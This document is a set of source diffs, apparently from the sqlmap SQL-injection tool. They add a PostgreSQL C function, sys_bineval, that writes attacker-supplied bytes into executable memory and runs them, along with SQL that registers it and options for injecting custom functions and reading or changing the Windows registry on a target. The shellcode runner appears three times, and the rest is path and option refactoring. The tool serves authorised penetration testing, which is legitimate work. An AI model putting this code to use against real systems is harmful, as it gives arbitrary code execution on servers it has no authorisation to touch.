PG_FUNCTION_INFO_V1(sys_bineval);
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = VARSIZE(argv0) - VARHDRSZ;
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, VARDATA(argv0), len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
PG_RETURN_INT32(1);
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
PG_RETURN_INT32(1);
strncpy((char *)addr, VARDATA(argv0), len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
PG_RETURN_INT32(0);
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif

View File

@@ -21,3 +21,4 @@
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

View File

@@ -25,14 +25,23 @@
#define BUILDING_DLL 1 #define BUILDING_DLL 1
#else #else
#define DLLEXP #define DLLEXP
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif #endif
#include <postgres.h> #include <postgres.h>
#include <fmgr.h> #include <fmgr.h>
#include <stdlib.h> #include <stdlib.h>
#include <string.h>
#include <ctype.h> #include <ctype.h>
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef PG_MODULE_MAGIC #ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC; PG_MODULE_MAGIC;
#endif #endif
@@ -109,3 +118,75 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
PG_RETURN_POINTER(result_text); PG_RETURN_POINTER(result_text);
} }
PG_FUNCTION_INFO_V1(sys_bineval);
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = VARSIZE(argv0) - VARHDRSZ;
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, VARDATA(argv0), len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
PG_RETURN_INT32(1);
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
PG_RETURN_INT32(1);
strncpy((char *)addr, VARDATA(argv0), len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
PG_RETURN_INT32(0);
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif

View File

@@ -25,14 +25,23 @@
#define BUILDING_DLL 1 #define BUILDING_DLL 1
#else #else
#define DLLEXP #define DLLEXP
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif #endif
#include <postgres.h> #include <postgres.h>
#include <fmgr.h> #include <fmgr.h>
#include <stdlib.h> #include <stdlib.h>
#include <string.h>
#include <ctype.h> #include <ctype.h>
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef PG_MODULE_MAGIC #ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC; PG_MODULE_MAGIC;
#endif #endif
@@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
PG_RETURN_POINTER(result_text); PG_RETURN_POINTER(result_text);
} }
PG_FUNCTION_INFO_V1(sys_bineval);
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = VARSIZE(argv0) - VARHDRSZ;
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, VARDATA(argv0), len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
PG_RETURN_INT32(1);
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
PG_RETURN_INT32(1);
strncpy((char *)addr, VARDATA(argv0), len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
PG_RETURN_INT32(0);
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif

View File

@@ -125,6 +125,10 @@ def action():
if conf.sqlShell: if conf.sqlShell:
conf.dbmsHandler.sqlShell() conf.dbmsHandler.sqlShell()
# User-defined function options
if conf.udfInject:
conf.dbmsHandler.udfInjectCustom()
# File system options # File system options
if conf.rFile: if conf.rFile:
dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False) dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)
@@ -148,6 +152,16 @@ def action():
if conf.osBof: if conf.osBof:
conf.dbmsHandler.osBof() conf.dbmsHandler.osBof()
# Windows registry options
if conf.regRead:
dumper.string("Registry key value data", conf.dbmsHandler.regRead())
if conf.regAdd:
conf.dbmsHandler.regAdd()
if conf.regDel:
conf.dbmsHandler.regDel()
# Miscellaneous options # Miscellaneous options
if conf.cleanup: if conf.cleanup:
conf.dbmsHandler.cleanup() conf.dbmsHandler.cleanup()

View File

@@ -137,6 +137,7 @@ def start():
logMsg = "testing url %s" % targetUrl logMsg = "testing url %s" % targetUrl
logger.info(logMsg) logger.info(logMsg)
createTargetDirs()
initTargetEnv() initTargetEnv()
if not checkConnection() or not checkString() or not checkRegexp(): if not checkConnection() or not checkString() or not checkRegexp():
@@ -259,7 +260,6 @@ def start():
if condition: if condition:
checkForParenthesis() checkForParenthesis()
createTargetDirs()
action() action()
if conf.loggedToOut: if conf.loggedToOut:

View File

@@ -431,6 +431,9 @@ def readInput(message, default=None):
else: else:
data = raw_input(message) data = raw_input(message)
if not data:
data = default
return data return data
@@ -557,27 +560,27 @@ def cleanQuery(query):
def setPaths(): def setPaths():
# sqlmap paths # sqlmap paths
paths.SQLMAP_CONTRIB_PATH = "%s/lib/contrib" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib")
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell")
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt")
paths.SQLMAP_UDF_PATH = "%s/udf" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf")
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml")
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_OUTPUT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "output")
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump" paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files" paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
# sqlmap files # sqlmap files
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_HISTORY = os.path.join(paths.SQLMAP_ROOT_PATH, ".sqlmap_history")
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr()) paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr())
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH paths.FUZZ_VECTORS = os.path.join(paths.SQLMAP_TXT_PATH, "fuzz_vectors.txt")
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml")
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
def weAreFrozen(): def weAreFrozen():
@@ -842,7 +845,7 @@ def searchEnvPath(fileName):
for envPath in envPaths: for envPath in envPaths:
envPath = envPath.replace(";", "") envPath = envPath.replace(";", "")
result = os.path.exists(os.path.normpath("%s/%s" % (envPath, fileName))) result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName)))
if result == True: if result == True:
break break

View File

@@ -46,14 +46,26 @@ class sqlmapGenericException(Exception):
pass pass
class sqlmapMissingDependence(Exception):
pass
class sqlmapMissingMandatoryOptionException(Exception): class sqlmapMissingMandatoryOptionException(Exception):
pass pass
class sqlmapMissingPrivileges(Exception):
pass
class sqlmapNoneDataException(Exception): class sqlmapNoneDataException(Exception):
pass pass
class sqlmapNotVulnerableException(Exception):
pass
class sqlmapRegExprException(Exception): class sqlmapRegExprException(Exception):
pass pass
@@ -62,22 +74,14 @@ class sqlmapSyntaxException(Exception):
pass pass
class sqlmapUndefinedMethod(Exception):
pass
class sqlmapMissingPrivileges(Exception):
pass
class sqlmapNotVulnerableException(Exception):
pass
class sqlmapThreadException(Exception): class sqlmapThreadException(Exception):
pass pass
class sqlmapUndefinedMethod(Exception):
pass
class sqlmapUnsupportedDBMSException(Exception): class sqlmapUnsupportedDBMSException(Exception):
pass pass
@@ -105,6 +109,7 @@ exceptionsTuple = (
sqlmapDataException, sqlmapDataException,
sqlmapFilePathException, sqlmapFilePathException,
sqlmapGenericException, sqlmapGenericException,
sqlmapMissingDependence,
sqlmapMissingMandatoryOptionException, sqlmapMissingMandatoryOptionException,
sqlmapNoneDataException, sqlmapNoneDataException,
sqlmapRegExprException, sqlmapRegExprException,

View File

@@ -48,6 +48,7 @@ from lib.core.data import paths
from lib.core.datatype import advancedDict from lib.core.datatype import advancedDict
from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapGenericException from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapMissingDependence
from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapMissingPrivileges from lib.core.exception import sqlmapMissingPrivileges
from lib.core.exception import sqlmapSyntaxException from lib.core.exception import sqlmapSyntaxException
@@ -324,10 +325,10 @@ def __setMetasploit():
if conf.msfPath: if conf.msfPath:
condition = os.path.exists(os.path.normpath(conf.msfPath)) condition = os.path.exists(os.path.normpath(conf.msfPath))
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath)) condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfcli")))
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % conf.msfPath)) condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfconsole")))
condition &= os.path.exists(os.path.normpath("%s/msfencode" % conf.msfPath)) condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfencode")))
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % conf.msfPath)) condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfpayload")))
if condition: if condition:
debugMsg = "provided Metasploit Framework 3 path " debugMsg = "provided Metasploit Framework 3 path "
@@ -363,10 +364,10 @@ def __setMetasploit():
for envPath in envPaths: for envPath in envPaths:
envPath = envPath.replace(";", "") envPath = envPath.replace(";", "")
condition = os.path.exists(os.path.normpath(envPath)) condition = os.path.exists(os.path.normpath(envPath))
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath)) condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfcli")))
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath)) condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfconsole")))
condition &= os.path.exists(os.path.normpath("%s/msfencode" % envPath)) condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfencode")))
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % envPath)) condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfpayload")))
if condition: if condition:
infoMsg = "Metasploit Framework 3 has been found " infoMsg = "Metasploit Framework 3 has been found "
@@ -528,7 +529,7 @@ def __setHTTPProxy():
def __setHTTPAuthentication(): def __setHTTPAuthentication():
""" """
Check and set the HTTP authentication method (Basic or Digest), Check and set the HTTP authentication method (Basic, Digest or NTLM),
username and password to perform HTTP requests with. username and password to perform HTTP requests with.
""" """
@@ -538,29 +539,29 @@ def __setHTTPAuthentication():
return return
elif conf.aType and not conf.aCred: elif conf.aType and not conf.aCred:
errMsg = "you specified the HTTP Authentication type, but " errMsg = "you specified the HTTP authentication type, but "
errMsg += "did not provide the credentials" errMsg += "did not provide the credentials"
raise sqlmapSyntaxException, errMsg raise sqlmapSyntaxException, errMsg
elif not conf.aType and conf.aCred: elif not conf.aType and conf.aCred:
errMsg = "you specified the HTTP Authentication credentials, " errMsg = "you specified the HTTP authentication credentials, "
errMsg += "but did not provide the type" errMsg += "but did not provide the type"
raise sqlmapSyntaxException, errMsg raise sqlmapSyntaxException, errMsg
debugMsg = "setting the HTTP Authentication type and credentials" debugMsg = "setting the HTTP authentication type and credentials"
logger.debug(debugMsg) logger.debug(debugMsg)
aTypeLower = conf.aType.lower() aTypeLower = conf.aType.lower()
if aTypeLower not in ( "basic", "digest" ): if aTypeLower not in ( "basic", "digest", "ntlm" ):
errMsg = "HTTP Authentication type value must be " errMsg = "HTTP authentication type value must be "
errMsg += "Basic or Digest" errMsg += "Basic, Digest or NTLM"
raise sqlmapSyntaxException, errMsg raise sqlmapSyntaxException, errMsg
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred) aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
if not aCredRegExp: if not aCredRegExp:
errMsg = "HTTP Authentication credentials value must be " errMsg = "HTTP authentication credentials value must be "
errMsg += "in format username:password" errMsg += "in format username:password"
raise sqlmapSyntaxException, errMsg raise sqlmapSyntaxException, errMsg
@@ -572,9 +573,21 @@ def __setHTTPAuthentication():
if aTypeLower == "basic": if aTypeLower == "basic":
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr) authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
elif aTypeLower == "digest": elif aTypeLower == "digest":
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr) authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
elif aTypeLower == "ntlm":
try:
from ntlm import HTTPNtlmAuthHandler
except ImportError, _:
errMsg = "sqlmap requires Python NTLM third-party library "
errMsg += "in order to authenticate via NTLM, "
errMsg += "http://code.google.com/p/python-ntlm/"
raise sqlmapMissingDependence, errMsg
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
def __setHTTPMethod(): def __setHTTPMethod():
""" """
@@ -861,7 +874,7 @@ def __setKnowledgeBaseAttributes():
kb.injType = None kb.injType = None
# Back-end DBMS underlying operating system fingerprint via banner (-b) # Back-end DBMS underlying operating system fingerprint via banner (-b)
# parsing or when knowing the OS is mandatory (i.g. dealing with DEP) # parsing
kb.os = None kb.os = None
kb.osVersion = None kb.osVersion = None
kb.osSP = None kb.osSP = None

View File

@@ -29,7 +29,7 @@ optDict = {
"Target": { "Target": {
"url": "string", "url": "string",
"list": "string", "list": "string",
"googleDork": "string", "googleDork": "string"
}, },
"Request": { "Request": {
@@ -45,7 +45,7 @@ optDict = {
"proxy": "string", "proxy": "string",
"threads": "integer", "threads": "integer",
"delay": "float", "delay": "float",
"timeout": "float", "timeout": "float"
}, },
"Injection": { "Injection": {
@@ -57,7 +57,7 @@ optDict = {
"string": "string", "string": "string",
"regexp": "string", "regexp": "string",
"eString": "string", "eString": "string",
"eRegexp": "string", "eRegexp": "string"
}, },
"Techniques": { "Techniques": {
@@ -65,11 +65,11 @@ optDict = {
"timeTest": "boolean", "timeTest": "boolean",
"unionTest": "boolean", "unionTest": "boolean",
"uTech": "string", "uTech": "string",
"unionUse": "boolean", "unionUse": "boolean"
}, },
"Fingerprint": { "Fingerprint": {
"extensiveFp": "boolean", "extensiveFp": "boolean"
}, },
"Enumeration": { "Enumeration": {
@@ -92,14 +92,21 @@ optDict = {
"excludeSysDbs": "boolean", "excludeSysDbs": "boolean",
"limitStart": "integer", "limitStart": "integer",
"limitStop": "integer", "limitStop": "integer",
"firstChar": "integer",
"lastChar": "integer",
"query": "string", "query": "string",
"sqlShell": "boolean", "sqlShell": "boolean"
},
"User-defined function": {
"udfInject": "boolean",
"shLib": "string"
}, },
"File system": { "File system": {
"rFile": "string", "rFile": "string",
"wFile": "string", "wFile": "string",
"dFile": "string", "dFile": "string"
}, },
"Takeover": { "Takeover": {
@@ -110,7 +117,17 @@ optDict = {
"osBof": "boolean", "osBof": "boolean",
"privEsc": "boolean", "privEsc": "boolean",
"msfPath": "string", "msfPath": "string",
"tmpPath": "string", "tmpPath": "string"
},
"Windows": {
"regRead": "boolean",
"regAdd": "boolean",
"regDel": "boolean",
"regKey": "string",
"regVal": "string",
"regData": "string",
"regType": "string"
}, },
"Miscellaneous": { "Miscellaneous": {
@@ -119,6 +136,6 @@ optDict = {
"updateAll": "boolean", "updateAll": "boolean",
"sessionFile": "string", "sessionFile": "string",
"batch": "boolean", "batch": "boolean",
"cleanup": "boolean", "cleanup": "boolean"
}, },
} }

View File

@@ -187,7 +187,7 @@ def setOs():
elif "sp" not in kb.bannerFp and kb.os == "Windows": elif "sp" not in kb.bannerFp and kb.os == "Windows":
kb.osSP = 0 kb.osSP = 0
if kb.os and kb.osVersion: if kb.os and kb.osVersion and kb.osSP:
infoMsg += " Service Pack %d" % kb.osSP infoMsg += " Service Pack %d" % kb.osSP
if infoMsg: if infoMsg:
@@ -260,17 +260,6 @@ def setRemoteTempPath():
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath)) dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
def setDEP():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("DEP") )
)
if condition:
dataToSessionFile("[%s][%s][%s][DEP][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.dep))
def resumeConfKb(expression, url, value): def resumeConfKb(expression, url, value):
if expression == "String" and url == conf.url: if expression == "String" and url == conf.url:
string = value[:-1] string = value[:-1]
@@ -460,10 +449,3 @@ def resumeConfKb(expression, url, value):
logMsg = "resuming remote absolute path of temporary " logMsg = "resuming remote absolute path of temporary "
logMsg += "files directory '%s' from session file" % conf.tmpPath logMsg += "files directory '%s' from session file" % conf.tmpPath
logger.info(logMsg) logger.info(logMsg)
elif expression == "DEP" and url == conf.url:
kb.dep = value[:-1]
logMsg = "resuming DEP system policy value '%s' " % kb.dep
logMsg += "from session file"
logger.info(logMsg)

View File

@@ -30,7 +30,7 @@ import sys
# sqlmap version and site # sqlmap version and site
VERSION = "0.7" VERSION = "0.8-rc2"
VERSION_STRING = "sqlmap/%s" % VERSION VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net" SITE = "http://sqlmap.sourceforge.net"

View File

@@ -33,6 +33,7 @@ from lib.core.common import parseTargetUrl
from lib.core.convert import urldecode from lib.core.convert import urldecode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths from lib.core.data import paths
from lib.core.dump import dumper from lib.core.dump import dumper
from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapFilePathException
@@ -116,7 +117,12 @@ def __setOutputResume():
Check and set the output text file and the resume functionality. Check and set the output text file and the resume functionality.
""" """
if conf.sessionFile and os.path.exists(conf.sessionFile): if not conf.sessionFile:
conf.sessionFile = "%s%ssession" % (conf.outputPath, os.sep)
logger.info("using '%s' as session file" % conf.sessionFile)
if os.path.exists(conf.sessionFile):
readSessionFP = open(conf.sessionFile, "r") readSessionFP = open(conf.sessionFile, "r")
lines = readSessionFP.readlines() lines = readSessionFP.readlines()
@@ -154,13 +160,12 @@ def __setOutputResume():
readSessionFP.close() readSessionFP.close()
if conf.sessionFile: try:
try: conf.sessionFP = open(conf.sessionFile, "a")
conf.sessionFP = open(conf.sessionFile, "a") dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x")) except IOError:
except IOError: errMsg = "unable to write on the session file specified"
errMsg = "unable to write on the session file specified" raise sqlmapFilePathException, errMsg
raise sqlmapFilePathException, errMsg
def __createFilesDir(): def __createFilesDir():
@@ -191,6 +196,25 @@ def __createDumpDir():
os.makedirs(conf.dumpPath, 0755) os.makedirs(conf.dumpPath, 0755)
def createTargetDirs():
"""
Create the output directory.
"""
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
if not os.path.isdir(conf.outputPath):
os.makedirs(conf.outputPath, 0755)
dumper.setOutputFile()
__createDumpDir()
__createFilesDir()
def initTargetEnv(): def initTargetEnv():
""" """
Initialize target environment. Initialize target environment.
@@ -213,22 +237,3 @@ def initTargetEnv():
parseTargetUrl() parseTargetUrl()
__setRequestParams() __setRequestParams()
__setOutputResume() __setOutputResume()
def createTargetDirs():
"""
Create the output directory.
"""
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
if not os.path.isdir(conf.outputPath):
os.makedirs(conf.outputPath, 0755)
dumper.setOutputFile()
__createDumpDir()
__createFilesDir()

View File

@@ -62,7 +62,6 @@ def cmdLineParser():
target.add_option("-c", dest="configFile", target.add_option("-c", dest="configFile",
help="Load options from a configuration INI file") help="Load options from a configuration INI file")
# Request options # Request options
request = OptionGroup(parser, "Request", "These options can be used " request = OptionGroup(parser, "Request", "These options can be used "
"to specify how to connect to the target url.") "to specify how to connect to the target url.")
@@ -91,7 +90,7 @@ def cmdLineParser():
request.add_option("--auth-type", dest="aType", request.add_option("--auth-type", dest="aType",
help="HTTP Authentication type (value " help="HTTP Authentication type (value "
"Basic or Digest)") "Basic, Digest or NTLM)")
request.add_option("--auth-cred", dest="aCred", request.add_option("--auth-cred", dest="aCred",
help="HTTP Authentication credentials (value " help="HTTP Authentication credentials (value "
@@ -115,7 +114,6 @@ def cmdLineParser():
help="Retries when the connection timeouts " help="Retries when the connection timeouts "
"(default 3)") "(default 3)")
# Injection options # Injection options
injection = OptionGroup(parser, "Injection", "These options can be " injection = OptionGroup(parser, "Injection", "These options can be "
"used to specify which parameters to test " "used to specify which parameters to test "
@@ -156,7 +154,6 @@ def cmdLineParser():
help="Matches to be excluded before " help="Matches to be excluded before "
"comparing page contents") "comparing page contents")
# Techniques options # Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can " techniques = OptionGroup(parser, "Techniques", "These options can "
"be used to test for specific SQL injection " "be used to test for specific SQL injection "
@@ -191,7 +188,6 @@ def cmdLineParser():
"to retrieve the queries output. No " "to retrieve the queries output. No "
"need to go blind") "need to go blind")
# Fingerprint options # Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint") fingerprint = OptionGroup(parser, "Fingerprint")
@@ -273,6 +269,12 @@ def cmdLineParser():
enumeration.add_option("--stop", dest="limitStop", type="int", enumeration.add_option("--stop", dest="limitStop", type="int",
help="Last query output entry to retrieve") help="Last query output entry to retrieve")
enumeration.add_option("--first", dest="firstChar", type="int",
help="First query output word character to retrieve")
enumeration.add_option("--last", dest="lastChar", type="int",
help="Last query output word character to retrieve")
enumeration.add_option("--sql-query", dest="query", enumeration.add_option("--sql-query", dest="query",
help="SQL statement to be executed") help="SQL statement to be executed")
@@ -280,6 +282,16 @@ def cmdLineParser():
action="store_true", action="store_true",
help="Prompt for an interactive SQL shell") help="Prompt for an interactive SQL shell")
# User-defined function options
udf = OptionGroup(parser, "User-defined function injection", "These "
"options can be used to create custom user-defined "
"functions.")
udf.add_option("--udf-inject", dest="udfInject", action="store_true",
help="Inject custom user-defined functions")
udf.add_option("--shared-lib", dest="shLib",
help="Local path of the shared library")
# File system options # File system options
filesystem = OptionGroup(parser, "File system access", "These options " filesystem = OptionGroup(parser, "File system access", "These options "
@@ -335,6 +347,33 @@ def cmdLineParser():
help="Remote absolute path of temporary files " help="Remote absolute path of temporary files "
"directory") "directory")
# Windows registry options
